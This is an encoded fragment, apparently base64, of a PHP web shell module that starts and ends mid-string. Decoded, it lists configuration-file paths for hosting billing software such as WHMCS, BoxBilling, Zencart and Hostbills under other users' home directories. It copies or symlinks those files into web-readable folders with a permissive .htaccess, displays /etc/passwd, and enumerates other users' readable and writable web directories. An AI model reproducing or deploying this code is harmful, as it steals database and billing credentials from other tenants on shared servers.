0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvZG9tYWluL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9Ib3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9IT1NUSU5HL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DQVJUL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DYXJ0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jYXJ0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9PUkRFUi9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvT3JkZXIvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DTElFTlQvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL0NsaWVudC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9TVVBQT1JUL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9TdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CSUxMSU5HL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CVVkvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL0J1eS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYnV5L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9NQU5BR0UvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL01hbmFnZS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DbGllbnRTdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DSEVDS09VVC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvQ2hlY2tvdXQvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NoZWNrb3V0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CSUxMSU5HUy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvQmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CQVNLRVQvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL0Jhc2tldC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmFza2V0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9TRUNVUkUvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL1NlY3VyZS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9TQUxFUy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvU2FsZXMvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3NhbGVzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CSUxML2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CaWxsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9iaWxsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9QVVJDSEFTRS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvUHVyY2hhc2UvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3B1cmNoYXNlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9BQ0NPVU5UL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9BY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9VU0VSL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9Vc2VyL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC91c2VyL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DTElFTlRTL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9DbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9CSUxMSU5HUy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvQmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9NWS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvTXkvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zZWN1cmUvd2htL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYm94L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zdXBwb3J0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NhcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NsaWVudHMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRlL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9iaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmlsbGluZ3MvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3NlY3VyZS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvcHJvZHVjdHMvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL0hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbGllbnRlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY2xpZW50ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9teS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiKTsKICAgICAgICBmb3JlYWNoICgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsKICAgICAgICAgICAgaWYgKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiAgICAgICAgICAgICAgICAkYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7CiAgICAgICAgICAgICAgICBpZiAoJGFtYmlsX2NvbmZpZyA9PSAnJykgewogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZV9jb25maWcgPSBmb3BlbigiY29uZmlnZ3JhYi8kdXNlcl9zaGl6LSRuYW1hX2NvbmZpZy50eHQiLCAidyIpOwogICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmaWxlX2NvbmZpZywgJGFtYmlsX2NvbmZpZyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7CiAgICAgICAgICAgICAgICBAc3ltbGluaygkY29uZmlnLCAiU3ltY29uZmlnLyIgLiAkdXNlcl9zaGl6IC4gIi0iIC4gJG5hbWFfY29uZmlnIC4gIi50eHQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9QT1NUWydjb25maWcnXSA9PSAnNDA0JykgewogICAgICAgICAgICAgICAgJHN5bTQwNCA9IHN5bWxpbmsoJGNvbmZpZywgInN5bTQwNC8iIC4gJHVzZXJfc2hpeiAuICItIiAuICRuYW1hX2NvbmZpZyAuICIudHh0Iik7CiAgICAgICAgICAgICAgICBpZiAoJHN5bTQwNCkgewogICAgICAgICAgICAgICAgICAgIEBta2Rpcigic3ltNDA0LyIgLiAkdXNlcl9zaGl6IC4gIi0iIC4gJG5hbWFfY29uZmlnIC4gIi50eHQ0MDQiLCAwNzc3KTsKICAgICAgICAgICAgICAgICAgICAkaHRhY2Nlc3MgPSAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNoaXouaHRtCkhlYWRlck5hbWUgc2hpei50eHQKU2F0aXNmeSBBbnkKSW5kZXhPcHRpb25zIElnbm9yZUNhc2UgRmFuY3lJbmRleGluZyBGb2xkZXJzRmlyc3QgTmFtZVdpZHRoPSogRGVzY3JpcHRpb25XaWR0aD0qIFN1cHByZXNzSFRNTFByZWFtYmxlCkluZGV4SWdub3JlICoiOwogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygic3ltNDA0LyIgLiAkdXNlcl9zaGl6IC4gIi0iIC4gJG5hbWFfY29uZmlnIC4gIi50eHQ0MDQvLmh0YWNjZXNzIiwgJGh0YWNjZXNzKTsKICAgICAgICAgICAgICAgICAgICBAc3ltbGluaygkY29uZmlnLCAic3ltNDA0LyIgLiAkdXNlcl9zaGl6IC4gIi0iIC4gJG5hbWFfY29uZmlnIC4gIi50eHQ0MDQvc2hpei50eHQiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmICgkX1BPU1RbJ2NvbmZpZyddID09ICdncmFiJykgewogICAgICAgIGVjaG8gJzxjZW50ZXI+PGJyPjxicj48YSBocmVmPSJjb25maWdncmFiLyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+JzsKICAgIH0KICAgIGlmICgkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiAgICAgICAgZWNobyAnPGNlbnRlcj48YnI+PGJyPgo8YSBocmVmPSJzeW00MDQvcm9vdC8iIHRhcmdldD0iX2JsYW5rIj5Sb290PC9hPgo8YnI+PGJyPjxhIGhyZWY9InN5bTQwNC8iIHRhcmdldD0iX2JsYW5rIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4nOwogICAgfQogICAgaWYgKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7CiAgICAgICAgZWNobyAnPGNlbnRlcj48YnI+PGJyPgo8YSBocmVmPSJzeW1jb25maWcvcm9vdC8iIHRhcmdldD0iX2JsYW5rIj5Sb290PC9hPgo8YnI+PGJyPjxhIGhyZWY9InN5bWNvbmZpZy8iIHRhcmdldD0iX2JsYW5rIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4nOwogICAgfQogICAgaWYgKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0JykgewogICAgICAgIGVjaG8gJzxjZW50ZXI+PGJyPjxicj4KPGEgaHJlZj0ic3ltdmhvc3Qvcm9vdC8iIHRhcmdldD0iX2JsYW5rIj5Sb290IFNlcnZlcjwvYT4KPGJyPjxicj48YSBocmVmPSJzeW12aG9zdC8iIHRhcmdldD0iX2JsYW5rIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4nOwogICAgCX0KICAgIH0gZWxzZSB7CiAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj48dGV4dGFyZWEgbmFtZT0icGFzc3dkIiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIxNSIgcmVhZG9ubHk+Cic7CmlmKGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpKSB7CiAgcmVhZGZpbGUoIi9ldGMvcGFzc3dkIikgb3IgaW5jbHVkZSAoIi9ldGMvcGFzc3dkIikgb3IgZGllKCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwp9IGVsc2UgewogIGVjaG8gKCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwp9CiAgICBlY2hvICc8L3RleHRhcmVhPjwvYnI+PGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPgogICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBidG4tc20iIG5hbWU9ImNvbmZpZyI+CgkJPG9wdGlvbiB2YWx1ZT0iNDA0Ij5Db25maWcgNDA0PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZ3JhYiI+Q29uZmlnIEdyYWI8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJzeW1saW5rIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9InN5bXZob3N0cyI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PC9zZWxlY3Q+PGlucHV0IGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCEhIj48L2Rpdj4gPC9mb3JtPjwvY2VudGVyPgonOwogICAgfQp9CgpmdW5jdGlvbiBqdW1wKCkgewppZiAoZmlsZV9leGlzdHMoIi9ldGMvcGFzc3dkIikpIHsKICAgICAgICAkaSA9IDA7CiAgICAgICAgJHBhc3N3ZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CiAgICAgICAgZm9yZWFjaCAoJHVzZXJfanVtcGluZ1sxXSBhcyAkdXNlcl9wcm9fanVtcCkgewogICAgICAgICAgICAkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9wcm9fanVtcC9wdWJsaWNfaHRtbCI7CiAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICAgICAkdHlwZSA9ICJbPGZvbnQgY29sb3I9d2hpdGU+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jZmZiMTAxPiR1c2VyX2p1bXBpbmdfZGlyPC9mb250PjwvYT4iOzsKICAgICAgICAgICAgICAgIGlmIChpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAkdHlwZSA9ICJbPGZvbnQgY29sb3I9d2hpdGU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY29sb3I9I2ZmYjEwMT4kdXNlcl9qdW1waW5nX2R